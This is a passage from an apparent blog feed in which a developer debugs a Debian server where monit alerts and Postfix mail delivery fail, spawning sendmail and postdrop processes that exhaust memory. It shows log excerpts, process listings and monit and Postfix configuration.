&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;apr&lt;/span&gt;   &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="n"&gt;lumi&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postdrop&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;992&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;mail_queue_enter&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;create&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;maildrop&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;870989.992&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Read&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;only&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;system&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This warning reappears every 2 minutes. Which corresponds to the “set daemon
120” in my &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/monit/monitrc&lt;/span&gt;&lt;/code&gt;. After two minutes, there are already two
of these warnings.&lt;/p&gt;
&lt;p&gt;And for each warning, &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;ps&lt;/span&gt; &lt;span class="pre"&gt;aux&lt;/span&gt;&lt;/code&gt; shows a new group of four processes:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;root        1871  0.0  0.1  18012  2368 ?        Ss   22:51   0:00 sudo supervisorctl status
root        1872  0.0  0.3  43956  7044 ?        S    22:51   0:00 sendmail -t
root        1873  0.0  0.3  43820  7068 ?        S    22:51   0:00 /usr/sbin/postdrop -r
postfix     1895  0.0  0.7  53376 14112 ?        S    22:52   0:00 tlsmgr -l -t unix -u -c
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And these processes accumulate, and after a few hours the server gets out of
memory and starts swapping.&lt;/p&gt;
&lt;p&gt;My &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/monit/conf.d/lino.conf&lt;/span&gt;&lt;/code&gt; file is obviously the trigger, but on
the other hand I’m using the same file on at least one other server with the
same Debian version. And in general I’m using this file on other servers &lt;a class="reference external" href="https://gitlab.com/lino-framework/getlino/-/blob/f8b6ac2ffe289dabee7f39a902791824fc7a8ea8/getlino/configure.py"&gt;at
least since 2020&lt;/a&gt;,
and until now it did not cause such a problem.&lt;/p&gt;
&lt;p&gt;More observations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;I read the docs about &lt;a class="reference external" href="https://www.postfix.org/tlsmgr.8.html"&gt;tlsmgr&lt;/a&gt; and
yes, everything indicates that some process (probably monit) is trying to send
an email and that postfix has some problem, but my postfix configuration is a
stand-alone internet site with only the following parameters changed:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# postconf myhostname mydestination myorigin
myhostname = lumi.mylino.net
mydestination = $myhostname,localhost
myorigin = /etc/mailname
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And I can manually send an email to &lt;a class="reference external" href="mailto:root&amp;#37;&amp;#52;&amp;#48;localhost"&gt;root&lt;span&gt;&amp;#64;&lt;/span&gt;localhost&lt;/a&gt; by saying:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ echo foo | mail -r luc@lumi.mylino.net root@localhost
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;postfix&lt;/span&gt; &lt;span class="pre"&gt;check&lt;/span&gt;&lt;/code&gt; doesn’t complain about anything.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;My &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/log/monit.log&lt;/span&gt;&lt;/code&gt; file shows an error:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;        No mail servers are defined -- please see the &amp;#39;set mailserver&amp;#39; statement in the manual

This error goes away when I say ``set mailserver localhost`` in my
:file:`/etc/monit/monitrc` but doesn&amp;#39;t make my problem disappear. I&amp;#39;m just a bit
surprised because on another server with the same Debian version the error does
not appear even though I leave :file:`/etc/monit/monitrc` unchanged.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I sent this blog post as a question to the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;debian-users&lt;/span&gt;&lt;/code&gt; mailing list. Read
&lt;a class="reference internal" href="0510.html"&gt;&lt;span class="doc"&gt;here&lt;/span&gt;&lt;/a&gt; what happened then.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2026/0428.html</guid><pubDate>Tue, 28 Apr 2026 00:00:00 +0000</pubDate></item><item><title>Monday, April 27, 2026</title><link>https://luc.lino-framework.org/blog/2026/0427.html</link><description>&lt;section id="monday-april-27-2026"&gt;
&lt;h1&gt;Monday, April 27, 2026&lt;a class="headerlink" href="#monday-april-27-2026" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Yesterday I finally found the explanation for for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/6733"&gt;#6733&lt;/a&gt; (laudate server
not responding and kswapd0 CPU usage at 200%), which has occupied me for more
than two weeks. I found the explanation because I had summarized my problem for
a Debian consultant. A typical case of “Ask, and it will be given to you; seek,
and you will find; knock, and it will be opened to you.” (&lt;a class="reference external" href="https://www.bibleserver.com/ESV/Matthew7%3A7"&gt;Mt 7:7&lt;/a&gt;). Here is what I told him:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;I use Postfix on my servers. Some servers are stand-alone mail servers,
others use Zone Media as a smart host. On one of my servers I have the
following warning in the journalctl:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;apr&lt;/span&gt;   &lt;span class="mi"&gt;25&lt;/span&gt; &lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="n"&gt;lumi&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postdrop&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;mail_queue_enter&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;create&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;maildrop&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;965751.1000&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Read&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;only&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;system&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The first warning comes quickly after rebooting. It comes every 10 seconds (I
guess that postdrop is configured to run every 10 seconds). In the beginning,
after rebooting, it’s only one warning, After a minute or so there are already 2
of them, and that number continues to grow. &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;ps&lt;/span&gt;&lt;/code&gt; shows a number of
processes I don’t understand, and this list also grows:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;postfix     1869  0.0  0.7  53376 14048 ?        S    17:20   0:00 tlsmgr -l -t unix -u -c
root        1877  0.0  0.1  18012  2308 ?        Ss   17:20   0:00 sudo supervisorctl status
root        1878  0.0  0.3  43956  7024 ?        S    17:20   0:00 sendmail -t
root        1879  0.0  0.3  43820  6996 ?        S    17:20   0:00 /usr/sbin/postdrop -r
root        1885  0.0  0.1  18012  2404 ?        Ss   17:22   0:00 sudo supervisorctl status
root        1886  0.0  0.3  43956  6976 ?        S    17:22   0:00 sendmail -t
root        1887  0.0  0.3  43820  7064 ?        S    17:22   0:00 /usr/sbin/postdrop -r
root        1892  0.0  0.0      0     0 ?        I    17:24   0:00 [kworker/0:0-events]
root        1900  0.0  0.1  18012  2336 ?        Ss   17:24   0:00 sudo supervisorctl status
root        1901  0.0  0.3  43956  7064 ?        S    17:24   0:00 sendmail -t
root        1902  0.0  0.3  43820  6880 ?        S    17:24   0:00 /usr/sbin/postdrop -r
root        1914  0.0  0.1  18012  2400 ?        Ss   17:26   0:00 sudo supervisorctl status
root        1915  0.0  0.3  43956  7036 ?        S    17:26   0:00 sendmail -t
root        1916  0.0  0.3  43820  6956 ?        S    17:26   0:00 /usr/sbin/postdrop -r
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;After a few hours of operation, the server collapses, CPU usage is 100%, and the
only thing I can do is to reboot.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;The next morning I thought: “Every two minutes… Tries to sudo but fails…
Tries to send an email… this sounds like &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;monit&lt;/span&gt;&lt;/code&gt;”. To verify my suspicion
without too much effort, I removed the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/monit/conf.d/lino.conf&lt;/span&gt;&lt;/code&gt; file
and then rebooted… and the issue was gone! This file is generated by
&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt;&lt;/code&gt;, so the culprit is &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt;&lt;/code&gt;! This explains why the problem
reappeared even after rebuilding the server (i.e. creating a completely new VPS
with a virgin Debian) and reinstalling the Lino sites that were hosted on this
server.&lt;/p&gt;
&lt;p&gt;A look at the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/log/monit.log&lt;/span&gt;&lt;/code&gt; file sheds more light on the issue:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;04&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="n"&gt;T12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0000&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;info&lt;/span&gt;     &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;status&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="n"&gt;succeeded&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt; &lt;span class="n"&gt;sudo&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;PERM_SUDOERS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;setresuid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;Operation&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;permitted&lt;/span&gt;
&lt;span class="n"&gt;sudo&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;unable&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sudoers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Operation&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;permitted&lt;/span&gt;
&lt;span class="n"&gt;sudo&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="n"&gt;initializing&lt;/span&gt; &lt;span class="n"&gt;audit&lt;/span&gt; &lt;span class="n"&gt;plugin&lt;/span&gt; &lt;span class="n"&gt;sudoers_audit&lt;/span&gt;
&lt;span class="n"&gt;Checking&lt;/span&gt; &lt;span class="n"&gt;supervisor&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;supervisor&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="n"&gt;looks&lt;/span&gt; &lt;span class="n"&gt;OK&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;04&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="n"&gt;T12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0000&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;    &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Mail&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt; &lt;span class="n"&gt;servers&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;defined&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt; &lt;span class="n"&gt;please&lt;/span&gt; &lt;span class="n"&gt;see&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;set mailserver&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;manual&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;04&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="n"&gt;T12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0000&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;    &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Event&lt;/span&gt; &lt;span class="n"&gt;queue&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;full&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;04&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="n"&gt;T12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0000&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;    &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Aborting&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;queue&lt;/span&gt; &lt;span class="n"&gt;over&lt;/span&gt; &lt;span class="n"&gt;quota&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;04&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="n"&gt;T12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;46&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0000&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;    &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;lumi&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;mem&lt;/span&gt; &lt;span class="n"&gt;usage&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="mf"&gt;100.0&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;matches&lt;/span&gt; &lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="n"&gt;limit&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;mem&lt;/span&gt; &lt;span class="n"&gt;usage&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;75.0&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;04&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="n"&gt;T12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;46&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0000&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;    &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Mail&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt; &lt;span class="n"&gt;servers&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;defined&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt; &lt;span class="n"&gt;please&lt;/span&gt; &lt;span class="n"&gt;see&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;set mailserver&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;statement&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;manual&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;04&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="n"&gt;T12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;47&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0000&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;    &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Event&lt;/span&gt; &lt;span class="n"&gt;queue&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;full&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here is the content of the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/monit/conf.d/lino.conf&lt;/span&gt;&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# generated by getlino
set alert root@localhost with reminder on 2 cycles
check program status with path /usr/local/bin/healthcheck.sh
    if status != 0 then alert
check device ROOT  with path /
    if SPACE usage &amp;gt; 95% then alert
check system $HOST
    if memory usage &amp;gt; 75% for 5 cycles then alert
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Yes, something is going wrong when monit tries to execute “check device ROOT
with path / if SPACE usage &amp;gt; 95% then alert”.  It’s some silly permission
problem. But what exactly?  And why did this wreak such a havoc? And how to
avoid it in the future?&lt;/p&gt;
&lt;p&gt;Observations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;dl class="simple"&gt;
&lt;dt&gt;We don’t want getlino to touch &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/monit/monitrc&lt;/span&gt;&lt;/code&gt;. We assume monit to be&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;correctly installed.&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;I restored the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;etc/monit/conf.d/lino.conf&lt;/span&gt;&lt;/code&gt; file except for the line “set
alert &lt;a class="reference external" href="mailto:root&amp;#37;&amp;#52;&amp;#48;localhost"&gt;root&lt;span&gt;&amp;#64;&lt;/span&gt;localhost&lt;/a&gt; with reminder on 2 cycles” and rebooted. The issue
reappears. So this line seems to not be the issue.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;“cron wakes up every minute, examining all stored crontabs, checking each
command to see if it should be run in the current minute. When executing
commands, any output is &lt;strong&gt;mailed to the owner of the crontab&lt;/strong&gt; (or to the user
named in the MAILTO environment variable in the crontab, if such exists) from
the owner of the crontab (or from the email address given in the MAILFROM
environment variable in the crontab, if such exists). The children copies of
cron running these processes have their name coerced to uppercase, as will be
seen in the syslog and ps(1) output.”&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;In &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/aliases&lt;/span&gt;&lt;/code&gt; I have a single entry:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;luc@lumi:~$ cat /etc/aliases
root: luc
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And I have a &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;~/.forward&lt;/span&gt;&lt;/code&gt; file with my real email address.&lt;/p&gt;
&lt;p&gt;But when I send an email to &lt;a class="reference external" href="mailto:root&amp;#37;&amp;#52;&amp;#48;localhost"&gt;root&lt;span&gt;&amp;#64;&lt;/span&gt;localhost&lt;/a&gt;, the smart host thinks it is spam:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ echo &amp;quot;Test&amp;quot; | mail -s &amp;quot;Test 2&amp;quot; root@localhost
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here are the relevant log entries:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;apr&lt;/span&gt;   &lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt; &lt;span class="n"&gt;lumi&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pickup&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1925&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="n"&gt;BD7448423&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="nd"&gt;@lumi&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;apr&lt;/span&gt;   &lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt; &lt;span class="n"&gt;lumi&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1932&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="n"&gt;BD7448423&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="mf"&gt;20260427021137.8&lt;/span&gt;&lt;span class="n"&gt;BD7448423&lt;/span&gt;&lt;span class="nd"&gt;@lumi&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
